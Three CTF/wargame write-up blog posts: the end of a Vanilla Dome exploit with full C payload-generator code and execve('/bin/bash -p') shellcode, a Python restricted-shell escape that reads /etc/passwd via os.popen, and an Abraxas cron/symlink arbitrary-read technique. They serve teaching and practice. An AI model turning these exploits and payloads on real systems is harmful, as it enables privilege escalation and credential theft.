bash-4.1$ cd ~
bash-4.1$ pwd
/home/vanilla1

Just so you don't bang your header, use bash -p payload or you won't get the suid.

Pawn!

I wanted it to be a bit cleaner.
Trashing the env[], not cool.
Let's try bypassing that 0 restriction through arithmetic tricks.

Arithmetic trick



For the careful reader, you may have spotted some interesting line in insert()
code.
If not:
Dump of assembler code for function insert:
   0x08048534 <+0>:    push   ebp
   0x08048535 <+1>:    mov    ebp,esp
   0x08048537 <+3>:    sub    esp,0x28
   0x0804853a <+6>:    mov    eax,DWORD PTR [ebp+0x8]              ; eax = value2
   0x0804853d <+9>:    mov    DWORD PTR [ebp-0x1c],eax
   0x08048540 <+12>:    mov    eax,DWORD PTR [ebp+0xc]              ; eax = value1
   0x08048543 <+15>:    mov    DWORD PTR [ebp-0x20],eax
   0x08048546 <+18>:    mov    eax,DWORD PTR [ebp+0x10]             ; eax = buffer
   0x08048549 <+21>:    mov    DWORD PTR [ebp-0x24],eax
   0x0804854c <+24>:    mov    eax,gs:0x14                          ; stack cookie
   0x08048552 <+30>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048555 <+33>:    xor    eax,eax
   0x08048557 <+35>:    mov    eax,DWORD PTR [ebp-0x1c]
   0x0804855a <+38>:    shl    eax,0x2                              ; value2 <<= 2;
   0x0804855d <+41>:    add    eax,DWORD PTR [ebp-0x24]             ; value2 += buffer;
   0x08048560 <+44>:    mov    edx,DWORD PTR [ebp-0x20]
   0x08048563 <+47>:    mov    DWORD PTR [eax],edx                  ; *value2 = value1;
   ; stack cookie check
   0x08048565 <+49>:    mov    eax,DWORD PTR [ebp-0xc]              ; stack cookie
   0x08048568 <+52>:    xor    eax,DWORD PTR gs:0x14
   0x0804856f <+59>:    je     0x8048576 <insert+66>

   0x08048571 <+61>:    call   0x8048444 <__stack_chk_fail@plt>
   0x08048576 <+66>:    leave 
   0x08048577 <+67>:    ret   
End of assembler dump.


The interesting line is here:
0x0804855a <+38>:    shl    eax,0x2                              ; value2 <<= 2;
Our offset is multiplied by 4.
We can thus manage to overflow our offset so it becomes 0.
We want 0x1 0000 0000 so offset will be equal to 0x4000 0000.
That's how we get the zero!

Let's try:
m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1 bash-p.bin payload.bin 
sz_file = 33
rest    = 1
n_elts  = 9
6a 0b 58 99                                     | j.X.
52 66 68 2d                                     | Rfh-
70 89 e1 52                                     | p..R
6a 68 68 2f                                     | jhh/
62 61 73 68                                     | bash
2f 62 69 6e                                     | /bin
89 e3 52 51                                     | ..RQ
53 89 e1 cd                                     | S...
80 00 00 00                                     | ....
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
31 30 37 33 37 34 31 38 32 34 61 61 61 61 61 61 61 61 61 | 1073741824aaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1aaaaaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 2aaaaaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 3aaaaaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
34 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 4aaaaaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 5aaaaaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 6aaaaaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 7aaaaaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 8aaaaaaaaaaaaaaaaaa
31 33 34 35 31 34 35 33 35 61 61 61 61 61 61 61 61 61 61 | 134514535aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa


On the remote machine:
vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.3.txt
bash-4.1$ pwd
/tmp
bash-4.1$ cd
bash: cd: HOME not set
bash-4.1$ pwd
/tmp
bash-4.1$ cd ~
bash-4.1$ pwd
/home/vanilla1


Challenge completely owned :).

Conclusion



As you can see, with a bit of work, motivation and some vulnerability, you can
bypass protections.
ASLR was of no use here as we bypass it through offsets and pointers laying on
the stack.
RELRO didn't stop us as we can write on the stack with a write-what-where.
If NX were to be set, it wouldn't have stopped us either as we can still craft a
rop chain. The problem would more have to been about the number of available
gadgets.

That's all for today, hope you enjoyed it.

Cheers,

m_101

References:

- bash -p payload
- Vanilla Dome Wargame
- RELRO: RELocation Read-Only
- Reversing Linux : Comprendre le rôle des sections PLT et GOT dans l’édition de liens dynamique


Annex: The exploit



#include <stdio.h>
#include <stdlib.h>

#include <string.h>

#include <stdint.h>

struct dpatch_t
{
    char *value;
    char *offset;
};

/*
 8048767:    5b                       pop    %ebx
 8048768:    5d                       pop    %ebp
 8048769:    c3                       ret
*/

int get_fsize (FILE *fp);
int get_nelts (FILE *fp);
char *i2a (uint32_t value);
struct dpatch_t *fill_array (int off_buffer, struct dpatch_t *array, int n_elts, FILE *fp);
int dump (unsigned char *bytes, size_t nbytes, size_t align);

int main (int argc, char *argv[])
{
    int n_elts;
    int idx_array;
    struct dpatch_t *array;
    FILE *fp_in, *fp_out;

    if (argc != 3) {
        printf ("Usage: %s [input] [output]\n", argv[0]);
        exit (1);
    }

    fp_in = fopen (argv[1], "r");
    if (!fp_in)
        return 1;

    fp_out = fopen (argv[2], "w");
    if (!fp_out)
        return 1;

    n_elts = get_nelts (fp_in);

    // alloc array
    array = calloc (n_elts + 200, sizeof(*array));
    if (!array)
        return 1;

    // fill array with shellcode
    fill_array (0, array, n_elts, fp_in);
    // set trigger
    array[n_elts].value = i2a (0x8048767);
    array[n_elts].offset = i2a (-15);

    // show debug
    for (idx_array = 0; idx_array < n_elts + 2; idx_array++) {
        if (array[idx_array].value && array[idx_array].value) {
            dump (array[idx_array].value, strlen (array[idx_array].value), strlen (array[idx_array].value));
            dump (array[idx_array].offset, strlen (array[idx_array].offset), strlen(array[idx_array].offset));
        }
    }

    // create payload file
    for (idx_array = 0; idx_array < n_elts + 2; idx_array++) {
        if (array[idx_array].value && array[idx_array].value) {
            fwrite (array[idx_array].value, 1, strlen(array[idx_array].value), fp_out);
            fwrite (array[idx_array].offset, 1, strlen(array[idx_array].offset), fp_out);
        }
    }

    fclose (fp_in);
    fclose (fp_out);

    return 0;
}

int get_fsize (FILE *fp)
{
    int sz_file;
    int old_offset;

    old_offset = ftell (fp);
    fseek (fp, 0, SEEK_END);
    sz_file = ftell (fp);
    fseek (fp, old_offset, SEEK_SET);

    return sz_file;
}

int get_nelts (FILE *fp)
{
    int sz_file;
    int n_elts, rest;

    // compute array n_elts
    sz_file = get_fsize (fp);
    rest = sz_file % 4;
    n_elts = (sz_file - rest) / 4 + (rest > 0 ? 1 : 0);

    printf ("sz_file = %d\n", sz_file);
    printf ("rest    = %d\n", rest);
    printf ("n_elts  = %d\n", n_elts);

    return n_elts;
}

// integer to ascii
char *i2a (uint32_t value)
{
    char *intstr;
    int len_intstr;

    intstr = calloc (21, sizeof(*intstr));
    memset (intstr, 'a', 19);
    snprintf (intstr, 19, "%d", value);
    len_intstr = strlen (intstr);
    if (intstr > 0)
        intstr[len_intstr] = 'a';

    return intstr;
}

struct dpatch_t *fill_array (int off_buffer, struct dpatch_t *array, int n_elts, FILE *fp)
{
    // buffer
    char *buffer;
    // loop
    int idx_array, idx_buffer; 
    int sz_file;
    int rest;

    sz_file = get_fsize (fp);
    rest = sz_file % 4;

    // alloc buffer
    buffer = calloc (sz_file + (rest != 0 ? 4 : 0), sizeof(*buffer));
    if (!buffer)
        return NULL;

    // read
    fseek (fp, 0, SEEK_SET);
    fread (buffer, sz_file, 1, fp);

    // fix off_buffer
    off_buffer = off_buffer / 4;

    // construct array
    for (idx_array = 0, idx_buffer = 0; idx_array < n_elts; idx_array++, idx_buffer++) {
        dump (((uint32_t *) buffer + idx_buffer), 4, 16);
        array[idx_array].value = i2a (*((uint32_t *) buffer + idx_buffer));
        if (idx_buffer == 0 && off_buffer == 0)
            array[idx_array].offset = i2a (0x40000000);
        else
            array[idx_array].offset = i2a (idx_buffer + off_buffer);
    }

    free (buffer);

    return array;
}

// dump
int dump (unsigned char *bytes, size_t nbytes, size_t align)
{
    size_t idx_bytes, j, last;
    int n_disp;

    if (!bytes || !nbytes)
        return -1;

    // first part of line is hex
    for (idx_bytes = 0, last = 0; idx_bytes < nbytes; idx_bytes++) {
        printf ("%02x ", bytes[idx_bytes]);
        // if we got to the alignment value or end of bytes
        // we print the second part of the line
        if ( (idx_bytes + 1) % align == 0 || idx_bytes == nbytes - 1 ) {
            // we print spaces if we arrived at end of bytes
            if (idx_bytes == nbytes - 1) {
                // compute the number of spaces to show
                n_disp = align - (nbytes % align);
                n_disp = (nbytes % align) ? n_disp : 0;
                for (j = 0; j < n_disp; j++)
                    printf("   ");
            }
            // separation
            printf ("| ");
            // second part of line is corresponding character
            for (j = last; j < last + align && j < nbytes;  j++) {
                if (isprint(bytes[j]))
                    printf ("%c", bytes[j]);
                else
                    putchar ('.');
            }
            putchar ('\n');
            last = idx_bytes + 1;
        }
    }

    return 0;
}

dimanche 10 mars 2013

[NDH2k13] Prequals - Meow (misc)

Hello there,

For NDH Prequals 2k13, the question for today is:

Can I Haz Flag?
(sorry, no screens or logs of all original functions ...)

In the following article, we'll see some Python black magic that will allow us to escape a restricted shell :).

The cat fight problem


Yeah, cat fighting! meeooow!
Basically, we had to connect to it through telnet:
telnet z0b.nuitduhack.com 2323

Then we're welcome by a Meow ASCII art.
Trying 54.228.228.251...
Connected to z0b.nuitduhack.com.
Escape character is '^]'.
 _ __ ___   ___  _____      __
| '_ ` _ \ / _ \/ _ \ \ /\ / /
| | | | | |  __/ (_) \ V  V /
|_| |_| |_|\___|\___/ \_/\_/

Welcome on the only kitten-friendly Python shell.
Please use auth() to authenticate if you need access to
the ultimate furry function.

Some available functions:
 kitty() -- get a kitty
 auth(password) -- authenticate


So we basically are only permitted to use auth() and check() by default.
Yeah, we're basically stuck in a "Python Restricted Shell".


... or not


Digging a bit in builtins, we found out we can use dig():
>>> dir()
['__builtins__', 'auth', 'check', 'fight', 'flipacoin', 'kitty', 'purr', 'status', 'thanks']

Neat! We can basically list any attributes of  most objects (not the restricted one).

auth(password), authenticate the user for the second part of the challenge (Meow Meow) and give us a flag.
check() is the check function.
And thanks() give us this output:
>>> thanks()
Thanks to Guido, Glyph and pyfiglet authors.

The rest isn't really interesting.

With dir(), we can basically look in python intrinsics.


Python intrinsics


We you dir a list for instance, you can see stuffs like that:
>>> dir([])
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

All those __name__ things are intrinsics attributes (or methods).
That's how you redefined some ops and all.

Our objectives was to get at some code, either by reading a file or dumping byte code or whatever!
Let's test some stuffs first:

>>> [].__class__.__name__
'list'
>>> [].__class__.__class__.__name__
'type'

Cool, we can have access to type!
It's exciting because we can list what python call "Method Resolution Order" on objects we don't have attributes (such as status, etc) as it will internally call the mro() of these objects.

>>> [].__class__.__class__.mro([].__class__.__class__.__new__([].__class__.__class__, status))
[<class '__main__.Wrapper'>, <type 'object'>]

Now we have the type of status :).
__main__.Wrapper ... just give us a small idea of software architecture.
Yeah, but we wanna create objects or stuffs like import?
For that, we need to see what are the base classes (and maybe go down by creating classes). And the object upon which all Python objects descend? object


object is a neat object

We are going to get object and look at its descendants as it gives us access to the following:
__bases__ intrinsic attribute give use the base object that an object herit from.
__subclasses_() intrisic method give us the object that descend upon that object.


And how we did it:
>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>,
<type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>,
<type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>,
<type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>,
<type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>,
<type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, 
<type 'property'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, 
<type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>,
<type 'instancemethod'>, <type 'function'>, <type 'classobj'>,
<type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, 
<type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>,
<type 'member_descriptor'>, <type 'sys.floatinfo'>, <type 'EncodingMap'>,
<type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>,
<type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, 
<type 'posix.stat_result'>, <type 'posix.statvfs_result'>, 
<class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>,
<class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>,
<class '_abcoll.Sized'>, <class '_abcoll.Container'>,
<class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>,
<type 'file'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>,
<class 'codecs.IncrementalDecoder'>, <type '_random.Random'>, <type 'Struct'>,
<type 'time.struct_time'>, <type 'cStringIO.StringO'>,
<type 'cStringIO.StringI'>, <class 'zipfile.ZipInfo'>,
<class 'string.Template'>, <type '_sre.SRE_Pattern'>,
<class 'string.Formatter'>, <type 'functools.partial'>,
<type 'operator.itemgetter'>, <type 'operator.attrgetter'>,
<type 'operator.methodcaller'>, <class 'pyfiglet.FigletFont'>,
<class 'pyfiglet.FigletRenderingEngine'>, <class 'pyfiglet.Figlet'>,
<class 'socket._closedsocket'>, <type '_socket.socket'>,
<type 'method_descriptor'>, <class 'socket._socketobject'>,
<class 'socket._fileobject'>, <class 'twisted.python.compat.tsafe'>,
<class 'twisted.python.versions._inf'>,
<class 'twisted.python.versions.Version'>, <type 'select.epoll'>,
<class 'urlparse.ResultMixin'>, <type 'collections.deque'>,
<type 'deque_iterator'>, <type 'deque_reverse_iterator'>,
<class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>,
<class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>,
<type 'thread._local'>, <type 'datetime.tzinfo'>, <type 'datetime.time'>,
<type 'datetime.timedelta'>, <type 'datetime.date'>,
<type 'OpenSSL.SSL.Connection'>, <type 'OpenSSL.SSL.Context'>,
<type 'NetscapeSPKI'>, <type 'PKCS12'>, <type 'PKCS7'>, <type 'X509Extension'>,
<type 'OpenSSL.crypto.PKey'>, <type 'X509Req'>, <type 'X509Store'>,
<type 'X509Name'>, <type 'X509'>,
<class 'twisted.python.deprecate._DeprecatedAttribute'>,
<class 'twisted.python.deprecate._ModuleProxy'>,
<class 'twisted.python.util.SubclassableCStringIO'>, <type 'grp.struct_group'>,
<type 'pwd.struct_passwd'>,
<class 'zope.interface.declarations.ObjectSpecificationDescriptorPy'>,
<class 'zope.interface.declarations.ClassProvidesBasePy'>,
<class 'zope.interface.interface.Element'>,
<class 'zope.interface.interface.SpecificationBasePy'>,
<class 'zope.interface.interface.InterfaceBasePy'>,
<type '_interface_coptimizations.SpecificationBase'>,
<type '_interface_coptimizations.ObjectSpecificationDescriptor'>,
<type '_zope_interface_coptimizations.InterfaceBase'>,
<type '_zope_interface_coptimizations.LookupBase'>,
<class 'threading._Verbose'>, <class 'twisted.python.threadable.DummyLock'>,
<class 'twisted.python.threadable.XLock'>,
<class 'twisted.python.reflect.PropertyAccessor'>,
<class 'twisted.python.log.PythonLoggingObserver'>,
<class 'twisted.python.failure._Traceback'>,
<class 'twisted.python.failure._Frame'>, <class 'twisted.python.failure._Code'>,
<class 'twisted.python.lockfile.FilesystemLock'>,
<class 'twisted.internet.defer._ConcurrencyPrimitive'>,
<class 'twisted.internet.defer.DeferredQueue'>, <type 'itertools.combinations'>,
<type 'itertools.cycle'>, <type 'itertools.dropwhile'>,
<type 'itertools.takewhile'>, <type 'itertools.islice'>,
<type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>,
<type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>,
<type 'itertools.count'>, <type 'itertools.izip'>,
<type 'itertools.izip_longest'>, <type 'itertools.permutations'>,
<type 'itertools.product'>, <type 'itertools.repeat'>,
<type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>,
<type 'itertools.tee'>, <type 'itertools._grouper'>,
<class 'twisted.internet.abstract.FileDescriptor'>,
<class 'twisted.internet.base.ThreadedResolver'>,
<class 'twisted.internet.base._ThreePhaseEvent'>,
<class 'twisted.internet.base.ReactorBase'>,
<class 'twisted.internet.base._SignalReactorMixin'>,
<class 'twisted.internet.address.IPv4Address'>,
<class 'twisted.internet.address.UNIXAddress'>,
<class 'twisted.internet.task.LoopingCall'>,
<class 'twisted.internet.task._Timer'>,
<class 'twisted.internet.task.CooperativeTask'>,
<class 'twisted.internet.task.Cooperator'>,
<class 'twisted.internet.task.Clock'>,
<class 'twisted.internet.tcp._TLSDelayed'>,
<type '_hashlib.HASH'>,
<class 'twisted.internet._sslverify.OpenSSLCertificateOptions'>,
<class 'zope.interface.adapter.BaseAdapterRegistry'>,
<class 'zope.interface.adapter.LookupBasePy'>,
<class 'zope.interface.adapter.AdapterLookupBase'>,
<class 'twisted.python.components._ProxiedClassMethod'>,
<class 'twisted.python.components._ProxyDescriptor'>,
<class 'twisted.internet.process._BaseProcess'>,
<class 'twisted.internet._signals._Handler'>,
<class 'twisted.internet.posixbase._FDWaker'>,
<class '__main__.Wrapper'>, <type '_ast.AST'>, <type 'cell'>]


When I saw that, I was like: Oh My God! *_* beautiful, I can almost create any freaking object I want.

We tried a bunch of stuffs. For instance opening files:
>>> ().__class__.__bases__[0].__subclasses__()[58]('meow.py', 'r')
Internal error: file() constructor not accessible in restricted mode.

We even tried looking at the code:
>>> auth.func_code
<code object auth at 0x7f9ab195b828, file "/opt/meow/challenge.py", line 235>

Yay! We have the real path of the challenge, spent a loooot of time trying to figure out how to read the file. Didn't manage it.

Hell, let's dir() it:

>>> dir(auth.func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__',
 '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__',
 '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
 '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount',
 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno',
 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names',
 'co_nlocals', 'co_stacksize', 'co_varnames']

There is the co_code that seems interesting but we'll come back to that later.

check() is the same type as auth(), so:

>>> check.func_code.co_consts
(' Check a password.\n\n    :param string password: Secret password.\n    ',
'G', '$', 'K', '!', '%', '@', 'S', '#',
<code object <lambda> at 0x7f9ab195b210, file "/opt/meow/challenge.py", line 127>, '',
<code object <lambda> at 0x7f9ab195b288, file "/opt/meow/challenge.py", line 128>, 14,
'\x00',
<code object xxx at 0x7f9ab195b378, file "/opt/meow/challenge.py", line 131>, 7,
<code object <lambda> at 0x7f9ab195b3f0, file "/opt/meow/challenge.py", line 148>,
'%s', 2, '916F601F6A625DF351086CBCF25BAECA')

Oh, nice, we seem to have something that look like some kind of hash!!!
We tried bruteforce of course (with oclHashcat) but not luck. Back to some reversing.


auth() reverse engineering

Ok back to auth().
In auth, we can get the bytecode with auth.func_code.co_code.
You can disassemble it using the dis module in python (please note that the bytecode change between Python versions). Like so:

import dis
dis.dis('some bytecode here')

I must say that it was when I got lazy.
Doing bytecode translation to python by hand ...
And reconstructing a .pyc ...
Was time to eat.
When I came back, Celelibi came up with something like this:

def check(password):
 array = ['G', '$', 'K', '!', '%', '@', 'S', '#']
 cte = lambda a: ''.join([a[2], a[0], a[6], a[3], a[5], a[7], a[1], a[4]])
 tmp = ''.join(map(lambda x: x.upper(), password[:14]))
 tempPass = ''.join(['\x00' * (14 - len(password)), tmp])
 #xxx = lambda: # ci-dessus
 k = xxx(tempPass[:7])
 d = lambda k: DES.new(k, DES.MODE_ECB)
 obj = d(k)
 h = obj.encrypt(cte(array))
 k = xxx(tempPass[7:])
 obj = d(k)
 h += obj.encrypt(cte(array))
 return '%s' % ''.join([hex(dec)[2:].zfill(2) for dec in [ord(c) for c in h]]).upper() == '916F601F6A625DF351086CBCF25BAECA'



def auth(password):
 if check(password):
  print 'The first flag is: ' + FLAG1
  print 'Also, here is a secret purry function.'
  return 0
 else:
  print 'Wrong password. Meow shfffff.'
  return None

Huh!
WTF!
7 bytes + 7 bytes ... sound like LM Hash.
Let's check our good friend Wikipédia:

     

Algorithm

The LM hash is computed as follows:[1][2]

    The user's password is restricted to a maximum of fourteen characters.[Notes 1]
    The user’s password is converted to uppercase.
    The user's password is encoded in the System OEM Code page[3]
    This password is null-padded to 14 bytes.[4]
    The “fixed-length” password is split into two seven-byte halves.
    These values are used to create two DES keys, one from each 7-byte half, by converting the seven bytes into a bit stream, and inserting a null bit after every seven bits (so 1010100 becomes 01010100). This generates the 64 bits needed for a DES key. (A DES key ostensibly consists of 64 bits; however, only 56 of these are actually used by the algorithm. The null bits added in this step are later discarded.)
    Each of the two keys is used to DES-encrypt the constant ASCII string “KGS!@#$%”,[Notes 2] resulting in two 8-byte ciphertext values. The DES CipherMode should be set to ECB, and PaddingMode should be set to NONE.
    These two ciphertext values are concatenated to form a 16-byte value, which is the LM hash.

It basically use the password as two sets of 7 bytes (56 bits) DES keys.
Perfect for DES since it only uses 56 bits (because of the NSA ...).

So, we can now crack the hash and we get:
LM("SH3|DON'S S0N9") = 916F601F6A625DF351086CBCF25BAECA


Ok great, let's try.

Onto the end of the road

So we enter the password:
>>> auth("SH3|DON'S S0N9")
The first flag is: Int3rnEt1sm4de0fc47
Also, here is a secret purry function.
<function secret at 0x14e8050>

Yeeeeees!
auth() when authenticated, it prints the flag and return a secret() function.
Secret function() is "Meow Meow" challenge ;).

Bonus track

A bug, unintended feature at the beginning (removed during the game):
>>> exec(os.system("/bin/sh", {'__builtins__': {'__import__':__builtins__.__import__}})
Internal error: EOL while scanning string literal ($telnet$, line 1).

Variables were not allowed ... but well we can still create classes:
len([c for c in ().__class__.__bases__[0].__subclasses__() if 'classobj' == c.__name__][0]('Obj', (), {'__len__' : lambda x: 5})())
(we also managed to crushed some variables using list comprehension and such)

Enumeration of dist-packages (found while trying to find a way to import):
>>> ().__class__.__bases__[0].__subclasses__()[91]().find_plugins(().__class__.__bases__[0].__subclasses__()[92]())
([pyasn1 0.0.11a (/usr/lib/pymodules/python2.6),
wsgiref 0.1.2 (/usr/lib/python2.6),
pyfiglet 0.4 (/usr/lib/python2.6/dist-packages),
PAM 0.4.2 (/usr/lib/python2.6/dist-packages),
pyOpenSSL 0.10 (/usr/lib/pymodules/python2.6),
pyglet 1.1.4 (/usr/local/lib/python2.6/dist-packages),
pycrypto 2.1.0 (/usr/lib/python2.6/dist-packages),
pyserial 2.3 (/usr/lib/python2.6/dist-packages),
Python 2.6 (/usr/lib/python2.6/lib-dynload),
Twisted 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Conch 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Core 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Lore 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Mail 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Names 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-News 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Runner 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Web 10.1.0 (/usr/lib/python2.6/dist-packages),
Twisted-Words 10.1.0 (/usr/lib/python2.6/dist-packages)],
{zope.interface 3.5.3 (/usr/lib/python2.6/dist-packages):
DistributionNotFound(Requirement.parse('distribute'),)})

And the best for the end: you thought we couldn't open files, execute or import stuffs? Think again:
[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']("os").popen("cat /etc/passwd").read()

Got that afterward (with some help). So no, I don't have the source code of the challenge :(.

Conclusion

Of course, we tried many many more stuffs but well, was repetitive: looking around python intrinsics and reading some docs.

heh, you thought you couldn't do anything in restricted shell?
This challenge just proved us wrong.
We can do prolly almost anything with a bit of python wizardry and if not properly restricted.

It also shows that it is REALLY hard to have a fully secure thing.

In the end, we had a really good time,

Hope you enjoyed the article,

Cheers,

m_101

References



- Python types and objects
- Python DataModel
- Python restricted shells 1
- Python restricted shells 2
- Python builtin functions
- Python traceback
- pkg_resources
- Python pointer dereference method 1
- Python pointer dereference method 2

Cool stuffs:
- Mysterie python bytecode decompiler

Other (cool) write-ups:
- Delroth - Escaping a Python sandbox


mercredi 6 mars 2013

[HES 2011] Abraxas Wargame - Level 4

Hello,

Time for level 4 of abraxas,

No useful clues in logbook.

First, let's check the cronjob:
$ cat /etc/cron.d/workpackagebuilder 
*/5 * * * *    level4 /home/level4/bin/make_random_input.sh && /home/level4/bin/workpackagebuilder.pl &> /dev/null

It runs every 5 minutes.

Nothing interesting in /home/level4/bin/make_random_input.sh, it just output some useless ASCII to put in the files.
But /home/level4/bin/workpackagebuilder.pl IS interesting.
#!/usr/bin/perl

$inputdir="/opt/workpackagebuilder/input/";
$templatedir="/opt/workpackagebuilder/templates/"; 
$outputdir="/opt/workpackagebuilder/output"; 
$workdir="/opt/workpackagebuilder/work"; 

$rnd = int(rand(20));
$tmpfile="$workdir/tmpfile$rnd";
$outputfile="$outputdir/workpackage$rnd.bin";

sub readfile($) {
  local ($fn) = @_;
  local $/=undef;
  open FILE, $fn or die "Couldn't open file: $!";
  binmode FILE;
  local $string = <FILE>;
  close FILE;
  return $string;
}

print "Cleaning up $tmpfile\n";
system "rm -rf $workdir/*";

print "Waiting for $tmpfile to be gone ...\n";
sleep 30;

# make sure nothing dirty remains
if(-l "$tmpfile") {
    exit;
}

if(-d "$tmpfile") {
    exit;
}

print "Reading input directory $inputdir\n";

# list all codes in the input dir and write them to a temporary file
opendir(my $dh, $inputdir) || die;
open OUT, ">$tmpfile";
while($f = readdir $dh) {
 if($f =~ /(\d+)_(\S+)/) {
     $code = $2;
     print OUT "$code\n";
 }
}
close OUT;
closedir $dh;

print "Done reading input directory, creating workpackage\n";

# read the list of input codes, and find their matching template
open OUT,">$outputfile";
open IN, "<$tmpfile";
while($code = <IN>) {
    chomp $code;
# if the template exists, use it
    if(-e "$templatedir/$code.bin") {
    print "Using template for $code\n";
    print OUT readfile("$templatedir/$code.bin");
    } else {
# otherwise, flag an error
    print "ERROR for $code\n";
    print OUT readfile("$templatedir/ERROR.bin");
    }
}
close IN;
close OUT;

# make sure all files get backed up
system "touch $outputdir/*";
system "rm -rf $workdir/*";

exit 0;

So basically, it picks a random number between 0 and 20 to create a tmpfile and an output file.
Any package name that is in input/ is outputed in tmpfile.
tmpfile is read line by line in order to get the correct template file that is outputed to output file.

That's all it does.
Before beginning, we ought to know the folders permissions:
$ ls -lash /opt/workpackagebuilder/
total 24K
4.0K drwxr-xr-x 6 root   root   4.0K 2011-04-05 00:07 .
4.0K drwxr-xr-x 4 root   root   4.0K 2011-04-06 10:54 ..
4.0K drwxr-x--- 2 level4 level3 4.0K 2013-03-06 12:20 input
4.0K drwxr-x--- 2 level4 level3 4.0K 2013-03-06 12:20 output
4.0K drwxr-x--- 2 level4 level3 4.0K 2011-04-05 00:07 templates
4.0K drwxrwx--- 2 level4 level3 4.0K 2013-03-06 12:20 work

Ok we can write tou work/ folder (which is where tmpfiles are stored).
We can basically control data in tmpfile.
This data is used to determined the path to a template. We don't need to bother to guess what is the random number ... just generate all 21 files! ;)
Looking at readfile, we can see open(), so I tried a the "| str" or "str |" trick in order to try to execute custom code. No luck, the .bin is forbidding us that.
But it doesn't really matter, we have an arbitrary file read through $code control:
print OUT readfile("$templatedir/$code.bin");

We control $code and readfile() just get the content of the file given in parameter => arbitrary read.
Since it has to finish with .bin extension, we use a symlink to redirect to /etc/pass/level4

The thing is ... tmpfile gets rewritten at some point in the script, just after following comment:
# list all codes in the input dir and write them to a temporary file

We ought to remove any write capabilities from other users then.

To get the correct output file, do a diff before and after the script run (you can't see which file is the last one due to touch command).
